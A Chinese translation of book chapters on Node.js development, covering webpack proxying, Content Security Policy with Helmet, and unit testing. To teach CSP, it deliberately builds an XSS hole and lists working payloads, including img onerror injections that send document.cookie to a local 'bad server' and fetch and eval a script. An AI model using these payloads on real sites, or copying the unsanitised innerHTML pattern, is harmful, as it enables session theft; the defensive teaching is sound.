第三种方法是调整服务器,使后端服务器将请求转发到 webpack 服务器。这种方法的优势在于使开发环境与生产环境更加一致,并确保后端服务器设置的头部得到应用。在 webapp 文件夹中运行 列表 7.20 中显示的命令以安装 Express 的代理包及其为 TypeScript 编译器提供的 API 描述。

列表 7.20:安装代理包

npm install http-proxy@1.18.1 

列表 7.21 修改了 Express 配置,以便将请求转发到 webpack 服务器。

列表 7.21:在 src 文件夹中的 server.ts 文件中转发请求

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
import cors from "cors";
**import httpProxy from "http-proxy";**
const port = 5000;
const expressApp: Express = express();
**const proxy = httpProxy.createProxyServer({**
 **target: "http://localhost:5100", ws: true**
**});**
expressApp.use(cors({
    origin: "http://localhost:5100"
}));
expressApp.use(express.json());
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
**//expressApp.use(express.static("dist/client"));**
**expressApp.use((req, resp) => proxy.web(req, resp));**
const server = createServer(expressApp);
**server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));**
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

这些更改启用了代理,包括处理用于实时重新加载功能的 WebSocket 请求的支持,这些请求也必须转发到 webpack 开发服务器。需要在 webpack 配置文件中进行相应的更新,以指定客户端实时重新加载代码将连接到的 URL,如图 7.22 所示。

列表 7.22:在 webpack.config.mjs 文件中更改客户端 URL

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./static/client.js",
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    },
    "devServer": {
        port: 5100,
        static: ["./static", "node_modules/bootstrap/dist"],
        **// proxy: {**
 **//     "/read": "http://localhost:5000"**
 **// },**
 **client: {**
 **webSocketURL****: "http://localhost:5000/ws"**
 **}**
    }
}; 

使用 Control+C 停止现有的构建过程,并在 webapp 文件夹中运行 npm start 以使更改生效。使用浏览器请求 http://localhost:5000,如图 7.8 所示,以便后端服务器接收请求并仍然受益于 webpack 开发服务器的功能。

图 7.8:使用后端服务器作为 webpack 的代理

使用内容安全策略

CORS 是一组请求头部的示例,它通过向浏览器提供有关应用程序预期如何工作的信息来应对恶意行为。

后端服务器可以设置额外的头信息,以便向浏览器提供有关应用程序如何工作以及预期行为的信息。最重要的头信息是 Content-Security-Policy,后端服务器使用它来描述应用程序的 内容安全策略CSP)。CSP 告诉浏览器从客户端应用程序期望的行为,以便浏览器可以阻止可疑活动。

内容安全策略的使用旨在防止 跨站脚本XSS)攻击。XSS 攻击有很多变体,但它们都涉及将恶意内容或代码注入到浏览器显示的内容中,以执行应用程序开发者未打算执行的任务——通常是欺骗用户或窃取敏感数据。

XSS 攻击的一个常见原因是当应用程序接受来自一个用户的输入,随后将其整合到展示给其他用户的内 容中。例如,如果一个应用程序接受显示在产品旁边的用户评论,攻击者可以构建一个评论,当产品页面显示时,浏览器将其解释为 HTML 或 JavaScript 内容。

最佳的起点是演示问题,这需要对示例应用程序进行一些更改。第一个更改是在浏览器显示的 HTML 文档中添加一个 input 元素,这将允许用户输入数据,该数据稍后将被浏览器显示,如 列表 7.23 所示。

列表 7.23:在静态文件夹中的 index.html 文件中添加一个输入元素

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
       ** <div class="m-2">**
 **<****label class="form-label">Message:</label>**
 **<input id="input" class="****form-control" />**
 **</div>**
        <button id="btn" class="btn btn-primary m-2">Send Message</button>
        <table class="table table-striped">
            <tbody>
                <tr><th>Status</th><td id="msg"></td></tr>
                <tr><th>Response</th><td id="body"></td></tr>
            </tbody>
       </table>
    </body>
</html> 

列表 7.24 更新客户端 JavaScript 代码,以便将 列表 7.23 中添加的 input 元素的 内容发送到服务器。

列表 7.24:在静态文件夹中的 client.js 文件中更新客户端代码

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
const requestUrl = "/read";
sendReq = async () => {
    **// let payload = document.getElementById("input").value;**
 **// for (let i = 0; i < 5; i++) {**
 **//     payload.push({ id: i, message: `Payload Message: ${i}\n`});**
 **// }**
    const response = await fetch(requestUrl, {
       ** method: "POST", body****: document.getElementById("input").value,**
 **// headers: {**
 **//     "Content-Type": "application/json"**
 **// }**
    })
    document.getElementById("msg").textContent = response.statusText;
    document.getElementById("body").innerHTML = await response.text();
} 

列表 7.25 更新了接收浏览器数据的处理器,以便将数据从请求管道到响应。这意味着输入到 input 元素中的任何内容都将发送到服务器,然后管道回浏览器,在那里它将被显示给用户。

列表 7.25:在 src 文件夹中的 readHandler.ts 文件中管道数据

import { Request, Response } from "express";
export const readHandler = (req: Request, resp: Response) => {   
    **// resp.json({**
 **//     message: "Hello, World"**
 **// });**
 **resp.cookie("sessionID", "mysecretcode");**
 **req.pipe(resp);**
} 

处理器还在响应中设置了一个 cookie。XSS 攻击的一种用途是窃取会话凭证,以便攻击者可以冒充合法用户。列表 7.25 中的代码设置的 cookie 是将要窃取的数据的占位符。

提示

有关如何创建和使用真实会话的详细信息,请参阅本书的第二部分。

列表 7.23列表 7.25所做的更改故意创建了一种情况,即用户提供的输入在没有任何形式验证的情况下被使用。这种问题在简单示例中很容易发现,但在实际项目中可能要困难得多,尤其是在随着时间的推移添加功能的项目中。这是一个如此普遍的问题,以至于跨站脚本攻击(XSS)是开放式全球应用程序安全项目OWASP)确定的十大应用安全风险之一,并且已经持续了多年(有关完整列表,请参阅owasp.org/www-project-top-ten)。

注入恶意内容

为了完成准备工作,将名为badServer.mjs的文件添加到webapp文件夹中,其内容如列表 7.26所示。这是一个“不良”服务器,它将代表恶意代码提供内容和接收请求。

列表 7.26:在 webapp 文件夹中的 badServer.mjs 文件中创建服务器

import { createServer } from "http";
import express from "express";
import cors from "cors";
createServer(express().use(cors()).use(express.static("static"))
    .post("*", (req, resp) => {
        req.on("data", (data) => { console.log(data.toString()) });
        req.on("end", () => resp.end());
    })).listen(9999,
        () => console.log(`Bad Server listening on port 9999`)); 

为了简化,此文件包含 JavaScript 代码,以便无需 TypeScript 编译器即可执行。代码以简洁性表达,而不是可读性,并使用 Express 功能提供静态内容,以及路由器接收 POST 请求。

打开一个新的命令提示符,导航到webapp文件夹,并运行列表 7.27中显示的命令以启动服务器。

列表 7.27:启动不良服务器

node badServer.mjs 

准备好示例应用程序和不良服务器后,颠覆应用程序的过程需要输入精心设计的字符串,目的是让浏览器加载内容或执行不属于应用程序的 JavaScript。

注意

本节展示了简单且相关的利用,这些利用利用了我有意创建的缺陷,这有助于我描述有用的功能,但并不涵盖 XSS 问题的全部范围。您可以在cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html找到一组出色的 XSS 测试。

列表 7.28中显示的文本输入到input元素中,并点击发送消息按钮。在将文本输入到input元素时,请注意引号字符。使用双引号和单引号非常重要,正如所示,否则浏览器将无法解析字符串。

列表 7.28:请求图像

<img src="img/city.png" onclick="location='http://packt.com'"> 

客户端 JavaScript 代码将服务器的响应添加到显示给用户的 HTML 文档中,这导致浏览器从不良服务器请求图像文件。点击图像会导致浏览器从应用程序导航离开,如图图 7.9所示。

![img/B21959_07_09.png]

图 7.9:通过点击重定向加载图像

可以添加到文档中的不仅仅是图像。将 Listing 7.29 中显示的文本输入到 input 元素中,然后点击 发送消息 按钮,这将向用户显示的文档中添加一个按钮。再次密切注意引号字符。

列表 7.29:创建按钮

<button class="btn btn-danger" onclick="location='http://packt.com'">Click</button> 

创建的按钮利用了应用程序使用的 CSS 样式表,使新元素的外观与浏览器显示的其他按钮保持一致,如图 7.11 所示。

图 7.11:添加元素

注入的代码也可以用来窃取敏感数据。将 Listing 7.30 中显示的文本输入到 input 元素中,然后再次点击 发送消息 按钮,同时密切注意引号字符,并将文本作为单行输入。

列表 7.30:窃取数据

<img src="img/nope" onerror="fetch('http://localhost:9999', { method: 'POST', body: document.cookie})"> 

img 元素指定了一个不存在的文件。当浏览器无法加载文件时,将触发 error 事件,执行 Listing 7.30 中分配给 onerror 属性的 JavaScript 代码片段。该代码使用浏览器的 Fetch API 向恶意服务器发送 HTTP POST 请求,包括作为请求体的敏感 cookie 数据。如果你检查运行恶意服务器的命令提示符的输出,你会看到以下消息,显示恶意服务器接收到的数据:

Bad Server listening on port 9999
**sessionID=mysecretcode** 

不需要用户操作即可触发此行为,并且数据在浏览器尝试(并失败)加载图像时立即发送。对于最后一个示例,将名为 bad.js 的文件添加到 static 文件夹中,其内容如 Listing 7.31 所示。

列表 7.31:静态文件夹中 bad.js 文件的内容

const input = document.getElementById("input");
const button = document.getElementById("btn");
const newButton = button.cloneNode();
button.parentElement.replaceChild(newButton, button);
newButton.textContent = "Bad Button";
newButton.addEventListener("click", () => {
    sendReq();
    fetch("http://localhost:9999", {
        method: "POST",
        body: JSON.stringify({
            cookie: document.cookie,
            input: input.value
        })
    });
});
input.value = "";
input.placeholder = "Enter something secret here";
document.getElementById("body").innerHTML = ""; 

此代码定位 HTML 文档中的 button 元素,并将其替换为将敏感数据发送到恶意服务器的元素。要使浏览器加载此文件,请在 input 元素中输入 Listing 7.32 中显示的文本,然后点击 发送消息 按钮。这是本节中最复杂的示例,必须特别小心地正确输入,并且作为单行输入。

列表 7.32:加载 JavaScript 文件

<img src="img/nope" onerror="fetch('http://localhost:9999/bad.js').then(r => r.text()).then(t => eval(t))"> 

JavaScript 代码使用浏览器的 Fetch API 从恶意 HTTP 服务器请求 bad.js 文件,然后使用 JavaScript eval 函数执行其内容。eval 函数将任何字符串视为 JavaScript 代码,因此,每次使用时都可能存在风险。当浏览器执行 JavaScript 代码时,现有的按钮将被替换为将敏感 cookie 数据发送到恶意服务器的按钮,如图 7.12 所示。(按钮文本也进行了更改,以强调变化。)

图 7.12:替换按钮

当你点击按钮时,恶意 HTTP 服务器将显示一个控制台消息,显示 cookie 值以及你在点击按钮之前输入到 input 元素中的任何内容,如下所示:

...
{"cookie":"sessionID=mysecretcode","input":"myothersecret"}
... 

为什么不直接注入一个脚本元素?

XSS 攻击已经是一个长期存在的问题,以至于一些针对它们的保护措施被编码到 HTML 规范中。例如,示例应用中的客户端代码使用innerHTML属性来显示它从后端服务器接收到的响应,如下所示:

`...`
`document.getElementById("body").innerHTML = await response.text();`
`...` 

HTML 规范指示浏览器不要执行分配给innerHTML属性的script元素,这意味着直接使用 JavaScript 代码将不会工作,但使用事件处理器将会。这种限制是由于示例应用从一章到另一章的演变方式造成的,并且你不应该假设所有应用都会受到类似的限制。

定义内容安全策略

内容安全策略告诉浏览器客户端应用预期如何行为,并使用Content-Security-Policy标头设置,如列表 7.33所示。

列表 7.33:在 src 文件夹中的 server.ts 文件中设置内容安全策略

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
import cors from "cors";
import httpProxy from "http-proxy";
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
**expressApp.use((****req, resp, next) => {**
 **resp.setHeader("Content-Security-Policy", "img-src 'self'");**
 **next();**
**})**
expressApp.use(cors({
    origin: "http://localhost:5100"
}));
expressApp.use(express.json());
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
//expressApp.use(express.static("dist/client"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

应将 CSP 标头应用于每个响应,因此列表使用 Express 的use方法设置一个中间件组件,它类似于常规请求处理器,但接收一个额外的参数,用于将请求传递给进一步处理。

标头值是应用的策略,由一个或多个策略指令和值组成。列表 7.33中的标头包含一个策略指令,即img-src,其值为self

...
resp.setHeader("Content-Security-Policy", **"img-src 'self'"**);
... 

CSP 规范定义了一系列策略,指定了可以从不同位置加载的不同内容。表 7.4描述了最有用的策略指令,完整的列表可以在https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy找到。

表 7.4:有用的 CSP 指令

策略指令 描述

|

`default-src` 
此指令设置所有指令的默认策略。

|

`connect-src` 
此指令指定了可以使用 JavaScript 代码请求的 URL。

|

`img-src` 
此指令指定了可以从其中加载图片的来源。

|

`script-src` 
此指令指定了可以从其中加载 JavaScript 文件的来源。

|

`script-src-attr` 
此指令指定了内联事件处理器的有效来源。

|

`form-action` 
此指令指定了可以发送表单数据的 URL。

策略的值可以使用带有通配符的 URL(例如http://*.acme.com)或方案(例如http:以允许所有 HTTP 请求或https:以允许所有 HTTPS 请求)来指定。还有特殊值,如'none',它阻止所有 URL,以及'self',它限制请求到加载文档的来源。(这些特殊值必须指定单引号,这就是为什么列表 7.33中定义的策略看起来奇怪地加了引号。)

列表 7.33 中定义的策略告诉浏览器,只能从与 HTML 文档相同的源请求图像。为了看到效果,请重新加载浏览器,输入 列表 7.28 中的文本,然后点击 发送消息 按钮。(您必须重新加载以确保 列表 7.33 中定义的头部信息被发送到浏览器。)

该策略限制了图像,使其只能来自与 HTML 文档相同的源。如果您检查浏览器的 F12 开发者工具,您将在控制台看到类似以下错误消息,这是来自 Chrome 的:

...
Refused to load the image 'http://localhost:9999/city.png' because it violates the following Content Security Policy directive: "img-src 'self'".
... 

阻止从不良服务器加载图像的尝试,但如果您点击浏览器显示的损坏图像占位符,您仍然可以离开应用程序。策略通常需要多个指令才能有效。

使用包设置策略头部

可以直接设置 CSP 头部,如前节所示,但使用包来定义 CSP 策略更容易且更不容易出错。一个优秀的包是 Helmet (helmetjs.github.io),它设置了一些与安全相关的头部,包括 CSP 头部。在 webapp 文件夹中运行 列表 7.34 中显示的命令以安装 Helmet 包。

列表 7.34:将包添加到项目中

npm install helmet@7.1.0 

列表 7.35 替换了上一节中的自定义中间件,并定义了示例应用的完整策略。

列表 7.35:在 src 文件夹中的 server.ts 文件中定义 CSP 策略

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
import cors from "cors";
import httpProxy from "http-proxy";
**import helmet from "helmet";**
const port = 5000;
const expressApp: Express = express();
const proxy = httpProxy.createProxyServer({
    target: "http://localhost:5100", ws: true
});
**// expressApp.use((req, resp, next) => {**
**//     resp.setHeader("Content-Security-Policy",**
**//       "img-src 'self'; connect-src 'self'");**
**//     next();**
**// })**
**expressApp.use(helmet({**
 **contentSecurityPolicy: {**
 **directives: {**
 **imgSrc: "'self'",**
 **scriptSrcAttr: "'none'",**
 **scriptSrc: "'****self'",**
 **connectSrc: "'self' ws://localhost:5000"** 
 **}**
 **}**
**}));**
expressApp.use(cors({
    origin: "http://localhost:5100"
}));
expressApp.use(express.json());
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use((req, resp) => proxy.web(req, resp));
const server = createServer(expressApp);
server.on('upgrade', (req, socket, head) => proxy.ws(req, socket, head));
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

Helmet 作为中间件应用,并配置了一个对象,其属性决定了设置的头部和应使用的值。contentSecurityPolicy.directives 属性用于设置 CSP 指令,因为 JavaScript 中不允许使用连字符的 CSP 指令名称,所以以驼峰式表达(例如,img-src 变为 imgSrc)。

列表 7.35 中的配置指定了一个内容安全策略,允许从 HTML 文档的域加载图像,阻止元素属性中的所有 JavaScript,限制 JavaScript 文件只能来自文档的域,并限制 JavaScript 代码可以建立连接的 URL。

最后一个指令指定了 self,允许发送 HTTP 连接到后端服务器,但也包括了 ws://localhost:5000 URL,这允许 webpack 实时重新加载功能所需的连接(ws 方案表示一个 WebSocket 连接,这是在 列表 7.21 中设置代理时需要额外配置的相同连接)。

如果此时重新加载浏览器,你将在浏览器的 JavaScript 控制台中看到 CSP 错误。这是因为 CSP 已禁用 eval 函数的使用,这是合理的,因为它非常危险,但问题在于 webpack 使用 eval 解包其打包内容。(这仅在 webpack 生成开发打包时适用,在应用部署前生成的最终打包中不适用。)

最佳做法是更改 webpack 配置,使其使用不同的技术来处理打包,如 Listing 7.36 所示。

列表 7.36:在 webapp 文件夹中的 webpack.config.mjs 文件中更改 webpack 配置

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./static/client.js",
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    },
    "devServer": {
        port: 5100,
        static: ["./static", "node_modules/bootstrap/dist"],
        client: {
            webSocketURL: "http://localhost:5000/ws"
        }
    },
   **devtool: "source-map"**
}; 

使用 Control+C 停止构建工具,并在 webapp 文件夹中运行 npm start 命令以使用新的配置重新启动它们。重新加载浏览器,JavaScript 打包器将不使用 eval 函数进行处理。再次运行从 Listing 7.28Listing 7.32 的示例,你会看到每个攻击都被内容安全策略中的一个设置所击败。

注意

Content-Security-Policy-Report-Only 标头指示浏览器报告那些会破坏内容安全策略但不会阻止这些操作的行为,这可以是一种评估现有应用的好方法。如果你正在使用 Helmet 包,可以通过将 contentSecurityPolicy.reportOnly 配置设置设为 true 来启用此标头。

CSP(内容安全策略)有其限制,避免在向用户显示的 HTML 中包含未经过滤的用户输入是很重要的。我在本书的第二部分演示了如何处理用户输入。

注意

如果你无法更改 webpack 配置,则可以在内容安全策略中允许使用 eval 函数。将 scriptSrc 设置的值设为 "'self' 'unsafe-eval'"。特殊的 'unsafe-eval' 值允许使用 eval 函数,但 'self' 值限制了可以下载 JavaScript 文件的来源,仅限于后端服务器。

摘要

在本章中,我描述了两种重要的方式,即后端 Node.js 服务器如何与现代 Web 应用中的其他组件协同工作。我描述的第一个主题是使用打包器:

  • 打包器将多个文件合并并压缩,以减少浏览器发出的 HTTP 请求次数,并减少需要传输的数据量。

  • 打包器已集成到所有流行的客户端框架的开发工具中,包括 Angular 和 React。

  • 打包器可以独立于后端服务器工作,但最佳工作流程是通过一起使用它们来实现的。

  • 我描述的第二个主题是内容安全策略的应用。

  • 内容安全策略用于防御 跨站脚本攻击(XSS),其目标是欺骗浏览器执行恶意 JavaScript 代码。

  • 为了应用内容安全策略,后端服务器向浏览器提供客户端应用程序代码如何行为的描述,包括它如何获取和使用资源,如图片和 JavaScript 代码。

  • 浏览器会阻止超出内容安全策略限制的 JavaScript 操作。

在下一章中,我将演示 Node.js 为单元测试和调试 JavaScript 代码提供的功能。

第八章:单元测试和调试

在本章中,我描述了 Node.js 提供的用于测试和调试 JavaScript 代码的功能。我首先演示了 Node.js 集成测试运行器,它使得定义和执行单元测试变得容易。然后,我演示了 Node.js 调试器,它集成在 JavaScript 运行时中,但通过外部工具使用。表 8.1 将测试和调试置于上下文中。

表 8.1:将测试和调试置于上下文中

问题 答案
它是什么? 单元测试是定义和运行测试以检查代码行为的过程。调试是检查应用程序执行状态的过程,以确定意外或不希望的行为的原因。
为什么它有用? 测试和调试有助于在应用程序部署给真实用户之前识别代码中的问题。
如何使用? 单元测试是用 JavaScript 代码编写的,并使用集成的 Node.js 测试运行器执行。Node.js 运行时包括对调试的支持,这通过外部工具使用,包括流行的代码编辑器。
有没有陷阱或限制? 对代码应该如何测试的不同观点往往会导致开发团队中的紧张关系。本可以用来完成项目的努力,往往被花费在争论测试上。
有没有替代方案? 测试和调试都是可选活动。两者都可以帮助产生缺陷更少的代码,但都不是强制性的。

表 8.2 总结了本章内容。

表 8.2:本章总结

问题 解决方案 列表
创建单元测试 创建一个以test.js后缀的文件,并使用node:test模块中定义的test函数。 3
运行单元测试 使用--test参数以测试模式启动 Node.js。使用--watch参数在检测到更改时自动运行测试。 4-8
创建模拟 使用fnmethodgettersetter方法。 9-10
理解模拟的使用 使用添加到模拟中的间谍功能。 11
检查测试结果 使用assert模块中的断言函数。 12
测试异步代码 创建产生测试数据的异步模拟。 13-16
测试不同的结果 使用子测试。 17
触发调试器 使用debugger关键字或在代码编辑器中设置断点。 18-20
调试应用程序 使用流行的代码编辑器或浏览器提供的功能。 21-22

准备本章内容

在本章中,我继续使用第七章中的webapp项目。为准备本章不需要进行任何更改。打开命令提示符,导航到webapp文件夹,并运行列表 8.1中显示的命令以启动构建工具。

列表 8.1:启动构建工具

npm start 

打开一个网页浏览器,请求http://localhost:5000,在文本框中输入一条消息,然后点击发送消息按钮。客户端 JavaScript 代码会将input元素的 内容发送到后端服务器,服务器会将它作为响应管道回浏览器,如图图 8.1所示。

提示

您可以从github.com/PacktPublishing/Mastering-Node.js-Web-Development下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅第一章

图 8.1:运行示例应用程序

单元测试 Node.js 应用程序

Node.js 有一个内置的测试运行器,这是一种方便的方式来定义和运行单元测试。尽管我推荐 TypeScript 进行开发,但单元测试最好用纯 JavaScript 编写。单元测试需要广泛使用假对象——称为模拟——来隔离正在测试的代码与应用程序的其他部分,创建模拟的过程——称为模拟化——依赖于创建仅具有足够功能来运行测试的对象,这可能会影响 TypeScript 编译器。为了准备纯 JavaScript 单元测试,列表 8.2更改了 TypeScript 编译器的配置。

决定是否进行单元测试

能够轻松地进行单元测试是使用 Node.js 的一个好处,但这并不是每个人都需要的,我也没有假装不是这样。我喜欢单元测试,并在我的项目中使用它,但并不是所有的项目,而且并不像你期望的那样一致。我倾向于专注于编写那些我知道将很难编写并且很可能是部署中错误来源的功能和函数的单元测试。在这些情况下,单元测试帮助我组织关于如何最好实现我所需要的想法。我发现,仅仅思考我需要测试的内容就能产生关于潜在问题的想法,这在我开始处理实际的错误和缺陷之前就已经发生了。

话虽如此,单元测试是一个工具,而不是一种信仰,只有你自己才知道你需要多少测试。如果你觉得单元测试没有用,或者你有更适合你的不同方法,那么请不要因为它是时尚的而觉得你需要进行单元测试。(然而,如果你没有更好的方法,而且你根本不做测试,那么你很可能是让用户发现你的错误,这很少是理想的。你不必进行单元测试,但你确实应该考虑进行某种形式的测试。)

如果您之前没有遇到过单元测试,那么我鼓励您尝试一下,看看它是如何工作的。如果您不是单元测试的粉丝,那么您可以跳过这一部分,转到调试 JavaScript 代码部分,在那里我将演示如何使用 Node.js 的调试功能。

列表 8.2:在 webapp 文件夹中的 tsconfig.Json 文件中添加属性

{
    "extends": "@tsconfig/node20/tsconfig.json",
     "compilerOptions": {                      
         "rootDir": "src",  
         "outDir": "dist",
        ** "allowJs": true**
     },
     **"include": ["src/**/*"]**
} 

新的配置属性告诉 TypeScript 编译器处理 JavaScript 以及 TypeScript 文件,并指定所有源代码文件都在 src 文件夹中。

要开始测试,请将名为 readHandler.test.js 的文件添加到 src 文件夹中,其内容如 清单 8.3 所示。

清单 8.3src 文件夹中 readHandler.test.js 文件的 内容

import { test } from "node:test";
test("my first test", () => {
    // do nothing - test will pass
}); 

测试功能由 node:test 模块提供,其中最重要的函数是 test,用于定义单元测试。test 函数接受测试的名称和一个函数,该函数执行测试。

测试可以从命令行执行。打开一个新的命令提示符,并在 webapp 文件夹中运行 清单 8.4 中显示的命令。

清单 8.4:运行单元测试

node --test dist 

--test 参数执行 Node.js 测试运行器。测试文件会自动发现,要么因为文件名包含 test,要么因为文件位于名为 test 的文件夹中。我遵循了在具有 .test.js 后缀的与模块同名的文件中定义模块测试的通用约定。

TypeScript 编译器将处理 src 文件夹中的 JavaScript 文件,并在 dist 文件夹中生成包含测试代码的文件。测试运行器将生成以下输出,这可能会根据您的平台和命令行包括额外的字符,例如勾选标记:

...
my first test (0.5989ms)
tests 1
suites 0
pass 1
fail 0
cancelled 0
skipped 0
todo 0
duration_ms 51.685
... 

测试目前还没有做任何事情,但输出显示测试运行器已找到文件并执行了其中包含的函数。

测试运行器也可以在监视模式下运行,当文件发生变化时,它会自动运行测试。清单 8.5package.json 文件的 scripts 部分添加了一个新命令。

使用测试包

我在本章中使用了内置的 Node.js 测试运行器,因为它易于使用,并且可以满足大多数项目的需求。但还有许多优秀的开源测试包可用;最受欢迎的是 Jest (jestjs.io)。如果您有特殊的测试需求或希望为项目中的客户端和服务器端 JavaScript 代码使用相同的测试包,测试包可能很有用。

清单 8.5:在 webapp 文件夹中的 package.json 文件中添加命令

...
"scripts": {
    "server": "tsc-watch --noClear --onsuccess \"node dist/server.js\"",
    "client": "webpack serve",
    "start": "npm-run-all --parallel server client",
    **"test": "node --test --watch dist"**
},
... 

--watch 参数将测试运行器置于监视模式。在 webapp 文件夹中运行 清单 8.6 中显示的命令以启动 清单 8.5 中定义的命令。

清单 8.6:在监视模式下运行测试运行器

npm run test 

测试运行器将启动,在 dist 文件夹中找到测试文件,并运行其中包含的测试,生成以下输出:

...
my first test (0.5732ms)
... 

清单 8.7 将测试的名称更改,以确认测试监视模式正在工作。

清单 8.7:在 src 文件夹中的 readHandler.test.js 文件中更改名称

import { test } from "node:test";
**test("my new test name", () => {**
    // do nothing - test will pass
}); 

主要构建过程将检测src文件夹中 JavaScript 文件的变化,并在dist文件夹中创建相应的文件。Node.js 测试运行器将检测纯 JavaScript 文件的变化,并执行其内容,产生以下输出:

...
my first test (0.5732ms)
**my new test name (0.6408ms)**
... 

Node.js 测试运行器认为,如果测试完成而没有抛出异常,则测试通过,这就是为什么即使它没有做任何事情,测试也会通过。"列表 8.8"修改了示例测试,使其失败。

列表 8.8:在 src 文件夹中的 readHandler.test.js 文件中创建失败的测试

import { test } from "node:test";
test("my new test name", () => {
    **throw new Error("something went wrong");**
}); 

当测试运行器执行测试时,会抛出异常,并在控制台输出中显示失败,以及有关异常的一些详细信息:

...
my first test (0.5732ms)
my new test name (0.6408ms)
**my new test name (0.6288ms)**
 **Error: something went wrong**
 **at TestContext.<anonymous> (C:\webapp\dist\readHandler.test.js:6:11)**
... 

编写单元测试

编写单元测试的常见方法是从arrange/act/assertA/A/A)模式开始,将单元测试分为三个部分。"Arrange"指的是为测试设置条件,"act"指的是执行测试,"assert"指的是验证结果是否符合预期。

安排测试

对于 Web 应用程序,单元测试的安排部分通常意味着模拟 HTTP 请求和响应,以便能够测试请求处理器。作为提醒,以下是示例项目中的readHandler

import { Request, Response } from "express";
export const readHandler = (req: Request, resp: Response) => {   
    resp.cookie("sessionID", "mysecretcode");
    req.pipe(resp);
} 

此处理程序执行两项操作:设置 cookie 并调用Request.pipe方法,以便从请求体中读取响应体。为了测试此功能,单元测试需要一个具有pipe方法和一个具有cookie方法的模拟Request和一个Response。单元测试不需要重新创建pipecookie方法的实际功能,因为这些功能超出了正在测试的代码的作用域。"列表 8.9"使用 Node.js 提供的功能创建模拟对象。

列表 8.9:在 src 文件夹中的 readHandler.test.ts 文件中创建模拟 HTTP 对象

import { test } from "node:test";
**test("readHandler tests", (testCtx) => {**
 **// Arrange - set up the test**
 **const req = {**
**pipe: testCtx.mock.fn()**
 **};**
 **const resp = {**
 **cookie: testCtx.mock.fn()**
 **};**
 **// TODO - Act - perform the test**

 **// TODO - Assert - verify the results**
}); 

一个好的模拟对象应包含足够的功能来运行测试,同时还需要支持检查结果。当 Node.js 测试运行器调用测试函数时,它提供了一个TestContext对象,其mock属性返回一个MockTracker对象,可以用来创建模拟,其最有用的方法在"表 8.3"中描述。

表 8.3:有用的 MockTracker 方法

名称 描述

|

`fn(orig, impl)` 
此方法创建一个模拟函数。可选参数是函数的原始实现和新实现。如果省略参数,则返回一个no-op函数。

|

`method(obj, name, impl, opts)` 
此方法创建一个模拟方法。参数是一个对象和要模拟的方法名称。可选参数是方法的替换实现。

|

`getter(obj, name, impl, opts)` 
method类似,但创建一个 getter。

|

`setter(obj, name, impl, opts)` 
method类似,但创建一个 setter。

表 8.3 中描述的方法用于创建跟踪其使用情况的函数或方法,这在测试的断言部分很有用,如断言测试结果部分所述。

methodgettersetter方法可以围绕现有功能创建包装器,如测试异步代码部分所示。由于它们创建的方式以及它们对 Node.js API 的依赖性,很难包装 HTTP 请求和响应方法和属性。相反,可以使用fn方法创建一个跟踪其使用情况并提供创建测试所需功能的简单构建块的功能。JavaScript 函数可以接受任意数量的参数,这就是为什么从fn方法返回的函数可以在任何地方使用的原因。这也是为什么在 TypeScript 中编写测试可能如此困难,以及为什么应该使用纯 JavaScript 的原因。

执行测试

对于 HTTP 处理器的单元测试,执行测试通常是过程中最简单的部分,因为它涉及使用模拟的 HTTP 请求和响应对象调用处理器函数,如列表 8.10所示。

列表 8.10:在 src 文件夹中的 readHandler.test.js 文件中执行测试

import { test } from "node:test";
**import { readHandler } from** **"./readHandler";**
test("readHandler tests", (testCtx) => {
    // Arrange - set up the test
    const req = {
        pipe: testCtx.mock.fn()
    };
    const resp = {
        cookie: testCtx.mock.fn()
    };
    **// Act - perform the test**
 **readHandler(req, resp);**

    // TODO - Assert - verify the results
}); 

断言测试结果

表 8.3 中的方法产生具有mock属性的结果,该属性可用于了解在执行测试时函数或方法是如何被使用的。mock属性返回一个MockFunctionContext对象,其中最有用的功能在表 8.4中描述。

表 8.4:有用的 MockFunctionContext 功能

名称 描述

|

`callCount()` 
此方法返回函数或方法被调用的次数。

|

`calls` 
此方法返回一个对象数组,其中每个元素描述一次调用。

表 8.4 中描述的calls属性的输出包含具有表 8.5中描述的属性的对象。

表 8.5:用于描述方法或函数调用的有用属性

名称 描述

|

`arguments` 
该属性返回传递给函数或方法的参数数组。

|

`result` 
该属性返回函数或方法产生的结果。

|

`error` 
此属性返回一个对象,如果函数抛出错误,则返回undefined

|

`stack` 
此属性返回一个Error对象,可用于确定错误抛出的位置。

被模拟的函数和方法充当间谍,报告它们在测试期间的使用情况,使得结果可以轻松检查和评估,如列表 8.11所示。

列表 8.11:在 src 文件夹中的 readHandler.test.js 文件中评估 rest 结果

import { test } from "node:test";
import { readHandler } from "./readHandler";
test("readHandler tests", (testCtx) => {
    // Arrange - set up the test
